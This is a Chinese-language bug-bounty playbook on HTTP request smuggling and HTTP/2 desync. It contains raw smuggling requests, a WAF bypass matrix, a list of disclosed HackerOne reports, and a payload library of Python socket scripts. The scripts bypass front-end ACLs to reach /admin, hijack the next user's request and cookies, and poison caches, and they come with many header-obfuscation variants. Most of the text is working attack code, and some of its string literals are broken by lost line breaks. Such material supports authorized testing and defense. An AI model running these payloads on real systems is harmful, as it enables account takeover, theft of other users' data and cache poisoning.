Files

925 lines
21 KiB
Markdown
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# HTTP Request Smuggling / HTTP/2 Desync
> 视角:黑盒,目标是利用前后端解析差异
## 1. 一句话说清
前置代理(CDN / WAF / Nginx)和后端服务器对 `Content-Length` / `Transfer-Encoding` 解析不一致 →
攻击者把"半包"塞进流,影响下个用户的请求/响应。
SRC 价值:成功的 desync = P1/P0($2k–$10k+)。
---
## 2. 类型速览
| 类型 | 前置代理用 | 后端用 |
|------|----------|------|
| **CL.TE** | Content-Length | Transfer-Encoding |
| **TE.CL** | Transfer-Encoding | Content-Length |
| **TE.TE** | 都看,但前后处理混淆 | 同 |
| **HTTP/2 → HTTP/1 desync** | h2 | h1 后端 |
| **CL.0** | CL=0 后端忽略 | 后端读 body |
---
## 3. 探测手法
### 3.1 工具
```bash
# Burp 扩展
HTTP Request Smuggler
# 命令行
smuggler.py -u https://target -v
http2smugl quirks --target target.com:443
h2csmuggler -u https://target/ --path /admin
```
### 3.2 经典 PoC
#### CL.TE
```
POST / HTTP/1.1
Host: victim
Content-Length: 6
Transfer-Encoding: chunked
0
G
```
前端按 CL=6 读了 `0\r\n\r\nG`,后端按 chunked 看到 `0\r\n\r\n` 结束,剩下 `G` 进入下一个请求。
#### TE.CL
```
POST / HTTP/1.1
Host: victim
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
...
0
```
#### 双 CL
```
POST / HTTP/1.1
Host: victim
Content-Length: 4
Content-Length: 1
GPOST...
```
#### CL.0(HTTP/2 时常见)
后端忽略 CL(POST 当 GET 处理),前端按 CL 取走 body → 走私。
#### h2c smuggling
```bash
h2csmuggler -u http://target/ --path /admin
# 利用 HTTP/1.1 → HTTP/2 升级让前置代理失效
```
---
## 4. Bypass 矩阵
| 拦 | 绕 |
|---|---|
| 标准 CL/TE 检测 | TE 大小写:`Transfer-encoding`、`transfer-Encoding` |
| TE 拦 | TE 末尾加空格:`Transfer-Encoding : chunked` |
| WAF 检测 | TE 值变形:`chunked`、`chunked,gzip`、`xchunked` |
| 标准 chunk 拦 | 0 大小 chunk 后塞数据 |
| h2 关闭 | h2c upgrade |
---
## 5. 利用提权 / 横向
```
1. 缓存投毒:让代理把恶意响应缓存为另一 URL
2. 跨用户访问:把 admin 端点的响应"借"给下个用户
3. 旁路 IP 限制:用走私走过 IP 校验
4. 偷 secret:让别人的请求 + 自己的响应混合
5. XSS(缓存了走私响应)
```
---
## 6. 真实案例指纹
- PortSwigger blog 系列(James Kettle)
- Cloudflare / Akamai 多次披露
- HackerOne H1 上 desync 报告 $5k–$30k
通用指纹:
- 同一连接发 2 个请求,第 2 个响应"看起来是别的请求的"
- 偶尔 503 / 502 / 异常 status code
- 代理日志和后端日志请求数对不上
---
## 7. 复现 / 证据要点
### 7.1 PoC
```
# 在 Burp Repeater 用 raw 模式发送下面包(保留 CRLF)
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0\r\n\r\nG
# 立即第二个请求(同连接,Burp Repeater 同样栏)
GET / HTTP/1.1
Host: target.com
→ 第二个响应应当反映前一次走私的 'G' 前缀
```
### 7.2 CVSS
```
HTTP smuggling → 缓存投毒 = 8.1 High
HTTP smuggling → 旁路鉴权 = 9.1 Critical
HTTP smuggling → 跨用户 = 8.1 High
```
---
## 8. 不要做的事
- **禁**:在生产上做大流量 desync 测试(影响他人请求)。低速、单次验证。
- **禁**:把走私构造的恶意响应缓存到全站共享路径(其他用户会受影响)。在你自己的 cache key 上演示。
- **禁**:实际偷取他人 cookie / token。看到 desync 现象即停。
## H1 真实案例
_共 38 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|---|--:|---|---|---|
| High | 20000 usd | PayPal | [Bypass for #488147 enables stored XSS on https://paypal.com/signin again](https://hackerone.com/reports/510152) | Bypass for #488147 enables stored XSS on https://paypal.com/signin again |
| High | 18900 usd | PayPal | [Stored XSS on https://paypal.com/signin via cache poisoning](https://hackerone.com/reports/488147) | Stored XSS on https://paypal.com/signin via cache poisoning |
| Critical | — | Slack | [Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies](https://hackerone.com/reports/737140) | Hi Slack Security Team! My name is Evan and I'm a first time bug hunter to your platform :) Because you guys were running a mon… |
| High | — | LY Corporation | [Request smuggling on admin-official.line.me could lead to account takeover](https://hackerone.com/reports/740037) | Request smuggling on admin-official.line.me could lead to account takeover |
| Critical | — | Eternal | [Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com](https://hackerone.com/reports/771666) | Intro Hi Zomato Security Team! My name is Evan Custodio and this is my first time evaluating your platform. I specialize in loo… |
| Critical | 7500 usd | Basecamp | [HTTP Request Smuggling via HTTP/2](https://hackerone.com/reports/1211724) | HTTP Request Smuggling via HTTP/2 |
| High | — | Helium | [HTTP request Smuggling](https://hackerone.com/reports/867952) | When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web … |
| Critical | 6000 usd | Cloudflare Public Bug Bounty | [HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() func…](https://hackerone.com/reports/1478633) | HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() function |
| High | 750 usd | GSA Bounty | [HTTP Request Smuggling on https://labs.data.gov](https://hackerone.com/reports/726773) | Greetings, The application appears to be vulnerable to HTTP request smuggling due to a disagreement between the front-end and b… |
| High | 4660 usd | Internet Bug Bounty | [Possibility of Request smuggling attack](https://hackerone.com/reports/2280391) | Request smuggling was possible by throwing an IOException with the upper size limit of the trailer header |
| High | — | Node.js | [HTTP Request Smuggling due to CR-to-Hyphen conversion](https://hackerone.com/reports/922597) | NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, th… |
| Critical | 5000 usd | Aiven Ltd | [Grafana RCE via SMTP server parameter injection](https://hackerone.com/reports/1200647) | Summary: This report is similar to #1180653, except with different parameter injection entrypoint |
**命中本类的 weakness 分布:**
- HTTP Request Smuggling:27 条
- CRLF Injection:5 条
- Uncategorized → 手工归类:4 条
- HTTP Response Splitting:2 条
## Payload 库
_4 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
### CL-TE请求走私 `smuggling-cl-te`
Content-Length与Transfer-Encoding走私
子类:**CL-TE** · tags: `smuggling` `request` `http`
**前置条件:** 目标使用多层代理;前后端处理差异
**攻击链:**
**1. CL-TE基础**
_CL-TE走私_
```
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
```
**2. TE-CL基础**
_TE-CL走私_
```
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
```
**3. TE-TE**
_TE-TE走私_
```
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: x
0
SMUGGLED
```
**WAF/EDR 绕过变体:**
**1. TE头混淆变体**
_通过在Transfer-Encoding头中添加空格、制表符、换行符、多重头部、拼写变体等方式使前后端代理对该头的解析产生差异,触发请求走私_
```
# TE头混淆(使前/后端对TE解析不一致):
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
X: x
Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```
**2. Chunked扩展字段与CL-TE组合利用**
_利用HTTP Chunked编码的扩展字段(分号后内容)干扰解析,或通过CL-0技巧使前端认为请求无体而后端继续处理走私的第二个请求_
```
# Chunked扩展字段(RFC允许的分号后扩展):
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0;ext="injected"
G
# CL-0走私:
POST / HTTP/1.1
Host: target.com
Content-Length: 0
Transfer-Encoding: chunked
GET /admin HTTP/1.1
Host: target.com
```
---
### CL-CL走私 `smuggling-cl-cl`
利用前端代理和后端服务器同时处理Content-Length头但对多个CL头的处理差异实现HTTP请求走私
子类:**CL-CL** · tags: `smuggling` `cl-cl` `http`
**前置条件:** 存在前端代理(如HAProxy/Nginx)+后端服务器架构;两端对Content-Length头的解析存在差异;理解HTTP请求走私原理
**攻击链:**
**1. 检测CL-CL走私条件** _[linux]_
_探测目标是否存在双CL走私条件_
```
# 检测前端代理类型:
curl -sI "http://target.com/" | grep -iE "server:|via:|x-forwarded"
# 发送包含两个Content-Length的请求:
curl -v "http://target.com/" -H "Content-Length: 6" -H "Content-Length: 0" -d "test12"
# 观察响应:
# - 如果正常返回: 可能只解析了一个CL
# - 如果400/错误: 服务器拒绝多CL(安全)
# - 如果部分处理: 存在走私可能
```
**2. CL-CL请求走私POC**
_构造包含两个Content-Length的走私请求,将恶意请求注入到后端处理队列_
```
# Python POC - CL-CL走私
import socket
def smuggle_cl_cl(host, port):
payload = (
"POST / HTTP/1.1
"
f"Host: {host}
"
"Content-Length: 44
" # 前端使用这个CL
"Content-Length: 0
" # 后端使用这个CL
"
"
"GET /admin HTTP/1.1
" # 走私的请求
f"Host: {host}
"
"
"
)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096).decode(errors="ignore")
print(resp)
s.close()
smuggle_cl_cl("target.com", 80)
```
**3. 利用CL-CL走私绕过前端访问控制**
_利用CL-CL走私绕过前端代理的ACL访问限制访问/admin_
```
# 场景:前端限制/admin访问,通过走私绕过
import socket
def bypass_acl(host, port):
# 走私请求到/admin端点
smuggled = (
"GET /admin HTTP/1.1
"
f"Host: {host}
"
"
"
)
content_length_real = len(smuggled)
payload = (
"POST / HTTP/1.1
"
f"Host: {host}
"
f"Content-Length: {content_length_real}
"
"Content-Length: 0
"
"Connection: keep-alive
"
"
"
+ smuggled
)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
# 接收两个响应
resp = s.recv(8192).decode(errors="ignore")
print("[Response 1 - Normal]")
print(resp[:500])
resp2 = s.recv(8192).decode(errors="ignore")
print("[Response 2 - Smuggled /admin]")
print(resp2[:500])
s.close()
bypass_acl("target.com", 80)
```
**WAF/EDR 绕过变体:**
**1. HTTP/2降级绕过**
_利用HTTP/2到HTTP/1.1协议降级时前后端对请求边界解析不一致实现走私_
```
# HTTP/2 -> HTTP/1.1降级利用
# 前端H2后端H1时的走私
:method: POST
:path: /
:authority: target.com
content-length: 0
GET /admin HTTP/1.1
Host: target.com
# H2C升级走私
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: <base64>
Connection: Upgrade, HTTP2-Settings
```
**2. 连接复用操控**
_通过双Content-Length头值差异和keep-alive连接复用在代理链中走私请求_
```
# 双CL值差异
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Content-Length: 50
12345GPOST /admin HTTP/1.1
Host: target.com
# 利用keep-alive连接复用
GET / HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Length: 0
GET /admin HTTP/1.1
Host: internal.target.com
```
**3. 代理链混淆**
_利用多级代理对Content-Length头中空格和冒号处理差异实现请求走私_
```
# 多级代理CL处理差异
POST / HTTP/1.1
Host: target.com
Content-Length: 44
Content-Length : 0
GET /admin HTTP/1.1
Host: target.com
X: 1
# 空格混淆CL头
POST / HTTP/1.1
Host: target.com
Content-Length: 0
Content-Length: 42
GET /internal HTTP/1.1
Host: target.com
```
---
### TE-CL走私 `smuggling-te-cl`
利用前端使用Transfer-Encoding而后端使用Content-Length的差异实现HTTP请求走私
子类:**TE-CL** · tags: `smuggling` `te-cl` `http`
**前置条件:** 前端代理优先处理Transfer-Encoding;后端服务器优先处理Content-Length;理解chunked编码格式
**攻击链:**
**1. 检测TE-CL差异**
_检测前端和后端对TE vs CL的优先级差异_
```
# 发送同时包含TE和CL的请求:
curl -v "http://target.com/" -H "Transfer-Encoding: chunked" -H "Content-Length: 3" -d "0
"
# 使用timing检测:
# 如果后端使用CL,会等待更多数据(超时)
import socket, time
s = socket.socket()
s.connect(("target.com", 80))
payload = (
"POST / HTTP/1.1
"
"Host: target.com
"
"Transfer-Encoding: chunked
"
"Content-Length: 6
"
"
"
"0
"
)
s.send(payload.encode())
start = time.time()
resp = s.recv(4096)
elapsed = time.time() - start
print(f"Response in {elapsed:.2f}s")
# 快速响应=后端用TE, 延迟响应=后端用CL
```
**2. TE-CL走私POC**
_TE-CL走私:前端按chunked处理转发整个body,后端按CL只读取部分,剩余变为走私请求_
```
import socket
def te_cl_smuggle(host, port):
# 前端(TE): 读取到"0
"结束 → 整个payload是一个请求
# 后端(CL): 只读取Content-Length指定的字节 → 剩余字节是新请求
smuggled = "GET /admin HTTP/1.1
Host: {}
".format(host)
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: 4
"
"Transfer-Encoding: chunked
"
"
"
"{}
"
"{}"
"0
"
).format(host, format(len(smuggled), "x"), smuggled)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096)
print(resp.decode(errors="ignore")[:500])
s.close()
te_cl_smuggle("target.com", 80)
```
**3. TE-CL走私实现请求劫持**
_走私不完整的POST请求,使下一个用户的请求内容(含Cookie)被反射到搜索结果中_
```
# 利用走私劫持下一个用户的请求
import socket
def hijack_request(host, port):
# 走私一个不完整的POST请求
# 下一个正常用户的请求会被拼接为这个POST的body
smuggled = (
"POST /search HTTP/1.1
"
"Host: {}
"
"Content-Type: application/x-www-form-urlencoded
"
"Content-Length: 200
" # 大CL会吞噬下一个请求
"
"
"q=" # 下一个请求的数据会被当作搜索参数
).format(host)
chunk_size = format(len(smuggled), "x")
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: 4
"
"Transfer-Encoding: chunked
"
"
"
"{}
"
"{}"
"0
"
).format(host, chunk_size, smuggled)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
print(s.recv(4096).decode(errors="ignore")[:500])
s.close()
hijack_request("target.com", 80)
```
**WAF/EDR 绕过变体:**
**1. TE头大小写变体绕过**
_利用不同代理对Transfer-Encoding头名大小写和值处理的差异绕过TE-CL走私检测_
```
# TE头大小写混淆
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
5c
GPOST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
# Transfer-Encoding变体
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
```
**2. 空白字符注入**
_在Transfer-Encoding头中注入制表符、前导空格和CRLF字符,使不同代理解析不同_
```
# 制表符/换行注入TE头
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding:\tchunked
# 行前空格混淆
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
# CRLF注入变体
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked\x0d\x0aX-Ignore: x
```
**3. chunk扩展字段利用**
_利用HTTP分块传输中chunk-extension字段和非标准chunk大小格式造成前后端解析差异_
```
# chunk扩展混淆
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5;ext=val
hello
0
# 超长chunk扩展
5;aaaaaaa...aaaa=bbbb...bbb
hello
0
# 非法chunk大小格式
5
hello
0
# 0x前缀
0x5
hello
0
```
---
### TE-TE走私 `smuggling-te-te`
利用前端和后端对Transfer-Encoding头的不同混淆变体的处理差异实现请求走私
子类:**TE-TE** · tags: `smuggling` `te-te` `http`
**前置条件:** 前后端都支持Transfer-Encoding;可以通过TE头混淆使一端忽略TE;了解chunked编码和HTTP走私原理
**攻击链:**
**1. TE混淆变体探测**
_测试各种Transfer-Encoding混淆变体,寻找前后端解析差异_
```
# Transfer-Encoding的各种混淆写法:
# 测试哪种混淆能让一端忽略TE
import socket
te_variants = [
"Transfer-Encoding: xchunked",
"Transfer-Encoding : chunked", # 冒号前空格
"Transfer-Encoding: chunked
Transfer-encoding: cow", # 两个TE
"Transfer-Encoding : chunked", # Tab分隔
"Transfer-Encoding: chunked", # Tab前缀
" Transfer-Encoding: chunked", # 行首空格
"X: x
Transfer-Encoding: chunked", # Header注入
"Transfer-Encoding: chunked", # 空字节
]
for i, te in enumerate(te_variants):
print(f"[{i}] Testing: {te[:60]}")
payload = (
"POST / HTTP/1.1
"
"Host: target.com
"
f"{te}
"
"Content-Length: 5
"
"
"
"0
"
)
try:
s = socket.socket()
s.settimeout(3)
s.connect(("target.com", 80))
s.send(payload.encode())
resp = s.recv(1024).decode(errors="ignore")
status = resp.split("
")[0] if resp else "No response"
print(f" → {status}")
s.close()
except Exception as e:
print(f" → Error: {e}")
```
**2. TE-TE走私利用(前端忽略混淆TE)**
_利用TE头混淆使一端按CL、另一端按TE处理,实现走私_
```
import socket
def te_te_smuggle(host, port, te_header):
# 前端不识别混淆的TE → 使用CL
# 后端识别混淆的TE → 使用chunked
smuggled = "GET /admin HTTP/1.1
Host: {}
".format(host)
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: {}
"
"{}
"
"
"
"0
"
"
"
"{}"
).format(
host,
len("0
" + smuggled),
te_header,
smuggled
)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096)
print(resp.decode(errors="ignore")[:500])
s.close()
# 使用发现的有效混淆变体:
te_te_smuggle("target.com", 80, "Transfer-Encoding: chunked
Transfer-encoding: cow")
```
**3. TE-TE缓存投毒攻击**
_利用TE-TE走私实现Web缓存投毒攻击_
```
import socket
def cache_poison_via_smuggling(host, port):
# 通过走私实现缓存投毒:
# 走私的请求指向静态资源,但包含恶意响应头/内容
smuggled = (
"GET /static/main.js HTTP/1.1
"
"Host: {}
"
"
"
).format(host)
# 先发送走私请求
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: {}
"
"Transfer-Encoding: chunked
"
"Transfer-encoding: x
"
"
"
"0
"
"
"
"{}"
).format(host, len("0
" + smuggled), smuggled)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096)
print("[*] Cache poisoned")
print(resp.decode(errors="ignore")[:300])
s.close()
cache_poison_via_smuggling("target.com", 80)
```
**WAF/EDR 绕过变体:**
**1. 多重TE头混淆**
_发送多个Transfer-Encoding头或逗号分隔多值,利用前后端对多值TE头的优先级差异_
```
# 多个Transfer-Encoding头
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: identity
Transfer-Encoding: chunked
# 逗号分隔多值
Transfer-Encoding: chunked, identity
Transfer-Encoding: identity, chunked
# 混合有效无效值
Transfer-Encoding: chunked
Transfer-Encoding: cow
Transfer-Encoding: chunked
```
**2. 非标准TE值混淆**
_使用非标准或被篡改的Transfer-Encoding值,使前端代理回退到CL而后端仍解析为chunked_
```
# 垃圾TE值使某些代理忽略TE
Transfer-Encoding: xchunked
Transfer-Encoding: chunked-false
Transfer-Encoding: chunk
Transfer-Encoding: CHUNKED
# 引号包裹
Transfer-Encoding: "chunked"
# 参数附加
Transfer-Encoding: chunked; q=0.5
Transfer-Encoding: chunked, x
# 编码混淆
Transfer-\x45ncoding: chunked
```
**3. 代理特定解析绕过**
_针对特定代理/服务器(HAProxy/Apache/Nginx)的TE头解析特性发送定制化走私payload_
```
# HAProxy特定绕过
POST / HTTP/1.1
Host: target.com
Transfer-Encoding:[\x0b]chunked
# Apache特定绕过
POST / HTTP/1.1
Host: target.com
Transfer-Encoding:\x00chunked
# Nginx特定绕过
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked\x20
# 通用尾部空白
Transfer-Encoding: chunked
```
---